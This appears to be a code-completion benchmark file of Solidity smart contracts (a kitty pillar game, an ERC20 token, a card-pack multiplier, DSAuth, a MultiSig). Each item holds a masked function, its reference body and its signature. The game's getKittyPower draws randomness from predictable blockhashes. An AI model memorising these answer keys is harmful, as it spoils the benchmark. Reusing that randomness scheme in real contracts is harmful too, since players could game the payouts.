_pId = pIdByAddress_[msg.sender]; require(_pId!=0, "not an existing player"); //needs to be an existing player require(players_[_pId].totalEth >= joinFee_, "insufficient tokens in pouch for join fee"); require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round"); require(_rId == currentRId_, "round has ended, wait for next round"); players_[_pId].totalEth = players_[_pId].totalEth.sub(joinFee_); //deduct joinFee from winnings joinPillarCore(_pId, _kittyId, _pillarIdx); } function joinPillar(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external payable { require(!paused_, "game is paused"); require(msg.value == joinFee_, "incorrect join fee"); require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here"); require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty"); require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round"); require(_rId == currentRId_, "round has ended, wait for next round"); uint256 _pId = pIdByAddress_[msg.sender]; //add player if he/she doesn't exists in game if (_pId == 0) { currentPId_ = currentPId_.add(1); pIdByAddress_[msg.sender] = currentPId_; players_[currentPId_].ownerAddr = msg.sender; _pId = currentPId_; emit PlayerJoined ( msg.sender, _pId, now ); } joinPillarCore(_pId, _kittyId, _pillarIdx); } function joinPillarCore(uint256 _pId, uint256 _kittyId, uint8 _pillarIdx) private { //record kitty under player for this round playerRounds_[_pId][currentRId_].push(_kittyId); //calculate kitty's power uint256 minPower = minPower_; if (pillarRounds_[_pillarIdx][currentRId_].totalContributions<(round_[currentRId_].targetContributions/2)) { //pillar under half, check other pillars uint8 i; for (i=0; i<3; i++) { if (i!=_pillarIdx) { if (pillarRounds_[i][currentRId_].totalContributions >= (round_[currentRId_].targetContributions/2)) { minPower = maxPower_/2; //minimum power increases, so to help the low pillar grow faster break; } } } } uint256 genes; ( , , , , , , , , , genes) = kittyCore.getKitty(_kittyId); uint256 _contribution = ((getKittyPower(genes) % maxPower_) + minPower); //from min to max power // add to kitty round uint256 joinedTime = now; kittyRounds_[_kittyId][currentRId_].pillar = _pillarIdx; kittyRounds_[_kittyId][currentRId_].contribution = _contribution; kittyRounds_[_kittyId][currentRId_].kittyOwnerPId = _pId; kittyRounds_[_kittyId][currentRId_].timeStamp = joinedTime; // update current round's info pillarRounds_[_pillarIdx][currentRId_].totalContributions = pillarRounds_[_pillarIdx][currentRId_].totalContributions.add(_contribution); pillarRounds_[_pillarIdx][currentRId_].kittyIds.push(_kittyId); //update current round pot totalDeveloperCut_ = totalDeveloperCut_.add((joinFee_/100).mul(4)); //4% developer fee round_[currentRId_].pot = round_[currentRId_].pot.add((joinFee_/100).mul(96)); //update pot minus fee emit KittyJoined ( msg.sender, _kittyId, _pillarIdx, _contribution, currentRId_, joinedTime ); //if meet target contribution, end round if (pillarRounds_[_pillarIdx][currentRId_].totalContributions >= round_[currentRId_].targetContributions) { endRound(_pillarIdx); } } function getKittyPower(uint256 kittyGene) private view returns(uint256) { return (uint(keccak256(abi.encodePacked(kittyGene, blockhash(block.number - 1), blockhash(block.number - 2), blockhash(block.number - 4), blockhash(block.number - 7)) ))); } <FILL_FUNCTION> function withdrawWinnings() external { uint256 _pId = pIdByAddress_[msg.sender]; //player doesn't exists in game require(_pId != 0, "player doesn't exist in game, don't disturb"); require(players_[_pId].totalEth > 0, "there is nothing to withdraw"); uint256 withdrawalSum = players_[_pId].totalEth; players_[_pId].totalEth = 0; //all is gone from contract to user wallet msg.sender.transfer(withdrawalSum); //byebye ether emit Withdrawal ( msg.sender, _pId, withdrawalSum, now ); } //********************************************************************************** // Admin Functions //********************************************************************************** function setJoinFee(uint256 _joinFee) external onlyOwner { joinFee_ = _joinFee; } function setPlayConfigs(uint256 _contributionTarget, uint256 _maxPower, uint256 _minPower) external onlyOwner { require(_minPower.mul(2) <= _maxPower, "min power cannot be more than half of max power"); contributionTarget_ = _contributionTarget; maxPower_ = _maxPower; minPower_ = _minPower; } function setKittyCoreAddress(address _kittyCoreAddress) external onlyOwner { kittyCoreAddress = _kittyCoreAddress; kittyCore = KittyCoreInterface(kittyCoreAddress); } /** * @dev Current owner can transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); owner = newOwner; } function setPaused(bool _paused) external onlyOwner { paused_ = _paused; } function withdrawDeveloperCut() external onlyOwner { address thisAddress = this; uint256 balance = thisAddress.balance; uint256 withdrawalSum = totalDeveloperCut_; if (balance >= withdrawalSum) { totalDeveloperCut_ = 0; owner.transfer(withdrawalSum); } } }
//distribute pot uint256 numWinners = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds.length; uint256 numFirstMovers = numWinners / 2; //half but rounded floor //perform round up if required if ((numFirstMovers * 2) < numWinners) { numFirstMovers = numFirstMovers.add(1); } uint256 avgTokensPerWinner = round_[currentRId_].pot/numWinners; //first half (round up) of the pillar kitties get 20% extra off the pot to reward the precision, strength and valor! uint256 tokensPerFirstMovers = avgTokensPerWinner.add(avgTokensPerWinner.mul(2) / 10); //the rest of the pot is divided by the rest of the followers uint256 tokensPerFollowers = (round_[currentRId_].pot - (numFirstMovers.mul(tokensPerFirstMovers))) / (numWinners-numFirstMovers); uint256 totalEthCount = 0; for(uint256 i = 0; i < numWinners; i++) { uint256 kittyId = pillarRounds_[_wonPillarIdx][currentRId_].kittyIds[i]; if (i < numFirstMovers) { players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFirstMovers); totalEthCount = totalEthCount.add(tokensPerFirstMovers); } else { players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth = players_[kittyRounds_[kittyId][currentRId_].kittyOwnerPId].totalEth.add(tokensPerFollowers); totalEthCount = totalEthCount.add(tokensPerFollowers); } } //set round param to end round_[currentRId_].pillarWon = _wonPillarIdx; round_[currentRId_].timeEnded = now; round_[currentRId_].ended = true; emit RoundEnded( currentRId_, _wonPillarIdx, round_[currentRId_].timeEnded ); //start next round currentRId_ = currentRId_.add(1); round_[currentRId_].pot = 0; round_[currentRId_].targetContributions = contributionTarget_; round_[currentRId_].timeStarted = now; round_[currentRId_].ended = false;
function endRound(uint8 _wonPillarIdx) private
function endRound(uint8 _wonPillarIdx) private
40036
ERC20
_transfer
contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual {<FILL_FUNCTION_BODY> } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } <FILL_FUNCTION> /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer( address sender, address recipient, uint256 amount ) internal virtual
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual
84166
PackMultiplier
isPriorPack
contract PackMultiplier is PresalePackThree { address[] public packs; uint16 public multiplier = 3; FirstPheonix pheonix; PreviousInterface old; uint16 public packLimit = 5; constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix) public PresalePackThree(_core, vault) { packs = _packs; pheonix = _pheonix; old = _old; } function getCardCount() internal view returns (uint) { return old.totalSupply() + old.burnCount(); } function isPriorPack(address test) public view returns(bool) {<FILL_FUNCTION_BODY> } event Status(uint before, uint aft); function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) { require(isPriorPack(pack)); uint length = getCardCount(); PresalePackThree(pack).claim(purchaseID); uint lengthAfter = getCardCount(); require(lengthAfter > length); uint16 cardDifference = uint16(lengthAfter - length); require(cardDifference % 5 == 0); uint16 packCount = cardDifference / 5; uint16 extra = packCount * multiplier; address lastCardOwner = old.ownerOf(lengthAfter - 1); Purchase memory p = Purchase({ user: lastCardOwner, count: extra, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, lastCardOwner, extra); // try to give them a first pheonix pheonix.claimPheonix(lastCardOwner); emit Status(length, lengthAfter); if (packCount <= packLimit) { for (uint i = 0; i < cardDifference; i++) { migration.migrate(lengthAfter - 1 - i); } } return (extra, lastCardOwner); } function setPackLimit(uint16 limit) public onlyOwner { packLimit = limit; } }
contract PackMultiplier is PresalePackThree { address[] public packs; uint16 public multiplier = 3; FirstPheonix pheonix; PreviousInterface old; uint16 public packLimit = 5; constructor(PreviousInterface _old, address[] _packs, MigrationInterface _core, CappedVault vault, FirstPheonix _pheonix) public PresalePackThree(_core, vault) { packs = _packs; pheonix = _pheonix; old = _old; } function getCardCount() internal view returns (uint) { return old.totalSupply() + old.burnCount(); } <FILL_FUNCTION> event Status(uint before, uint aft); function claimMultiple(address pack, uint purchaseID) public returns (uint16, address) { require(isPriorPack(pack)); uint length = getCardCount(); PresalePackThree(pack).claim(purchaseID); uint lengthAfter = getCardCount(); require(lengthAfter > length); uint16 cardDifference = uint16(lengthAfter - length); require(cardDifference % 5 == 0); uint16 packCount = cardDifference / 5; uint16 extra = packCount * multiplier; address lastCardOwner = old.ownerOf(lengthAfter - 1); Purchase memory p = Purchase({ user: lastCardOwner, count: extra, commit: uint64(block.number), randomness: 0, current: 0 }); uint id = purchases.push(p) - 1; emit PacksPurchased(id, lastCardOwner, extra); // try to give them a first pheonix pheonix.claimPheonix(lastCardOwner); emit Status(length, lengthAfter); if (packCount <= packLimit) { for (uint i = 0; i < cardDifference; i++) { migration.migrate(lengthAfter - 1 - i); } } return (extra, lastCardOwner); } function setPackLimit(uint16 limit) public onlyOwner { packLimit = limit; } }
for (uint i = 0; i < packs.length; i++) { if (packs[i] == test) { return true; } } return false;
function isPriorPack(address test) public view returns(bool)
function isPriorPack(address test) public view returns(bool)
25112
DSAuth
setOwner
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth {<FILL_FUNCTION_BODY> } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } }
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } <FILL_FUNCTION> function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } }
owner = owner_; emit LogSetOwner(owner);
function setOwner(address owner_) public auth
function setOwner(address owner_) public auth
61698
MultiSig
sign
contract MultiSig { using SafeMath for uint256; uint public constant CHUNK_SIZE = 100; mapping(address => bool) public isSigner; address[] public allSigners; // all signers, even the disabled ones // NB: it can contain duplicates when a signer is added, removed then readded again // the purpose of this array is to being able to iterate on signers in isSigner uint public activeSignersCount; enum ScriptState {New, Approved, Done, Cancelled, Failed} struct Script { ScriptState state; uint signCount; mapping(address => bool) signedBy; address[] allSigners; } mapping(address => Script) public scripts; address[] public scriptAddresses; event SignerAdded(address signer); event SignerRemoved(address signer); event ScriptSigned(address scriptAddress, address signer); event ScriptApproved(address scriptAddress); event ScriptCancelled(address scriptAddress); event ScriptExecuted(address scriptAddress, bool result); constructor() public { // deployer address is the first signer. Deployer can configure new contracts by itself being the only "signer" // The first script which sets the new contracts live should add signers and revoke deployer's signature right isSigner[msg.sender] = true; allSigners.push(msg.sender); activeSignersCount = 1; emit SignerAdded(msg.sender); } function sign(address scriptAddress) public {<FILL_FUNCTION_BODY> } function execute(address scriptAddress) public returns (bool result) { // only allow execute to signers to avoid someone set an approved script failed by calling it with low gaslimit require(isSigner[msg.sender], "sender must be signer"); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved, "script state must be Approved"); /* init to failed because if delegatecall rans out of gas we won't have enough left to set it. NB: delegatecall leaves 63/64 part of gasLimit for the caller. Therefore the execute might revert with out of gas, leaving script in Approved state when execute() is called with small gas limits. */ script.state = ScriptState.Failed; // passing scriptAddress to allow called script access its own public fx-s if needed if(scriptAddress.delegatecall(bytes4(keccak256("execute(address)")), scriptAddress)) { script.state = ScriptState.Done; result = true; } else { result = false; } emit ScriptExecuted(scriptAddress, result); } function cancelScript(address scriptAddress) public { require(msg.sender == address(this), "only callable via MultiSig"); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved || script.state == ScriptState.New, "script state must be New or Approved"); script.state= ScriptState.Cancelled; emit ScriptCancelled(scriptAddress); } /* requires quorum so it's callable only via a script executed by this contract */ function addSigners(address[] signers) public { require(msg.sender == address(this), "only callable via MultiSig"); for (uint i= 0; i < signers.length; i++) { if (!isSigner[signers[i]]) { require(signers[i] != address(0), "new signer must not be 0x0"); activeSignersCount++; allSigners.push(signers[i]); isSigner[signers[i]] = true; emit SignerAdded(signers[i]); } } } /* requires quorum so it's callable only via a script executed by this contract */ function removeSigners(address[] signers) public { require(msg.sender == address(this), "only callable via MultiSig"); for (uint i= 0; i < signers.length; i++) { if (isSigner[signers[i]]) { require(activeSignersCount > 1, "must not remove last signer"); activeSignersCount--; isSigner[signers[i]] = false; emit SignerRemoved(signers[i]); } } } /* implement it in derived contract */ function checkQuorum(uint signersCount) internal view returns(bool isQuorum); function getAllSignersCount() view external returns (uint allSignersCount) { return allSigners.length; } // UI helper fx - Returns signers from offset as [signer id (index in allSigners), address as uint, isActive 0 or 1] function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) { address signerAddress = allSigners[i + offset]; signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ]; } } function getScriptsCount() view external returns (uint scriptsCount) { return scriptAddresses.length; } // UI helper fx - Returns scripts from offset as // [scriptId (index in scriptAddresses[]), address as uint, state, signCount] function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) { address scriptAddress = scriptAddresses[i + offset]; scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state), scripts[scriptAddress].signCount ]; } } }
contract MultiSig { using SafeMath for uint256; uint public constant CHUNK_SIZE = 100; mapping(address => bool) public isSigner; address[] public allSigners; // all signers, even the disabled ones // NB: it can contain duplicates when a signer is added, removed then readded again // the purpose of this array is to being able to iterate on signers in isSigner uint public activeSignersCount; enum ScriptState {New, Approved, Done, Cancelled, Failed} struct Script { ScriptState state; uint signCount; mapping(address => bool) signedBy; address[] allSigners; } mapping(address => Script) public scripts; address[] public scriptAddresses; event SignerAdded(address signer); event SignerRemoved(address signer); event ScriptSigned(address scriptAddress, address signer); event ScriptApproved(address scriptAddress); event ScriptCancelled(address scriptAddress); event ScriptExecuted(address scriptAddress, bool result); constructor() public { // deployer address is the first signer. Deployer can configure new contracts by itself being the only "signer" // The first script which sets the new contracts live should add signers and revoke deployer's signature right isSigner[msg.sender] = true; allSigners.push(msg.sender); activeSignersCount = 1; emit SignerAdded(msg.sender); } <FILL_FUNCTION> function execute(address scriptAddress) public returns (bool result) { // only allow execute to signers to avoid someone set an approved script failed by calling it with low gaslimit require(isSigner[msg.sender], "sender must be signer"); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved, "script state must be Approved"); /* init to failed because if delegatecall rans out of gas we won't have enough left to set it. NB: delegatecall leaves 63/64 part of gasLimit for the caller. Therefore the execute might revert with out of gas, leaving script in Approved state when execute() is called with small gas limits. */ script.state = ScriptState.Failed; // passing scriptAddress to allow called script access its own public fx-s if needed if(scriptAddress.delegatecall(bytes4(keccak256("execute(address)")), scriptAddress)) { script.state = ScriptState.Done; result = true; } else { result = false; } emit ScriptExecuted(scriptAddress, result); } function cancelScript(address scriptAddress) public { require(msg.sender == address(this), "only callable via MultiSig"); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved || script.state == ScriptState.New, "script state must be New or Approved"); script.state= ScriptState.Cancelled; emit ScriptCancelled(scriptAddress); } /* requires quorum so it's callable only via a script executed by this contract */ function addSigners(address[] signers) public { require(msg.sender == address(this), "only callable via MultiSig"); for (uint i= 0; i < signers.length; i++) { if (!isSigner[signers[i]]) { require(signers[i] != address(0), "new signer must not be 0x0"); activeSignersCount++; allSigners.push(signers[i]); isSigner[signers[i]] = true; emit SignerAdded(signers[i]); } } } /* requires quorum so it's callable only via a script executed by this contract */ function removeSigners(address[] signers) public { require(msg.sender == address(this), "only callable via MultiSig"); for (uint i= 0; i < signers.length; i++) { if (isSigner[signers[i]]) { require(activeSignersCount > 1, "must not remove last signer"); activeSignersCount--; isSigner[signers[i]] = false; emit SignerRemoved(signers[i]); } } } /* implement it in derived contract */ function checkQuorum(uint signersCount) internal view returns(bool isQuorum); function getAllSignersCount() view external returns (uint allSignersCount) { return allSigners.length; } // UI helper fx - Returns signers from offset as [signer id (index in allSigners), address as uint, isActive 0 or 1] function getAllSigners(uint offset) external view returns(uint[3][CHUNK_SIZE] signersResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allSigners.length; i++) { address signerAddress = allSigners[i + offset]; signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ]; } } function getScriptsCount() view external returns (uint scriptsCount) { return scriptAddresses.length; } // UI helper fx - Returns scripts from offset as // [scriptId (index in scriptAddresses[]), address as uint, state, signCount] function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) { address scriptAddress = scriptAddresses[i + offset]; scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state), scripts[scriptAddress].signCount ]; } } }
require(isSigner[msg.sender], "sender must be signer"); Script storage script = scripts[scriptAddress]; require(script.state == ScriptState.Approved || script.state == ScriptState.New, "script state must be New or Approved"); require(!script.signedBy[msg.sender], "script must not be signed by signer yet"); if(script.allSigners.length == 0) { // first sign of a new script scriptAddresses.push(scriptAddress); } script.allSigners.push(msg.sender); script.signedBy[msg.sender] = true; script.signCount = script.signCount.add(1); emit ScriptSigned(scriptAddress, msg.sender); if(checkQuorum(script.signCount)){ script.state = ScriptState.Approved; emit ScriptApproved(scriptAddress); }
function sign(address scriptAddress) public
function sign(address scriptAddress) public
22404
ConfidoToken
transfer
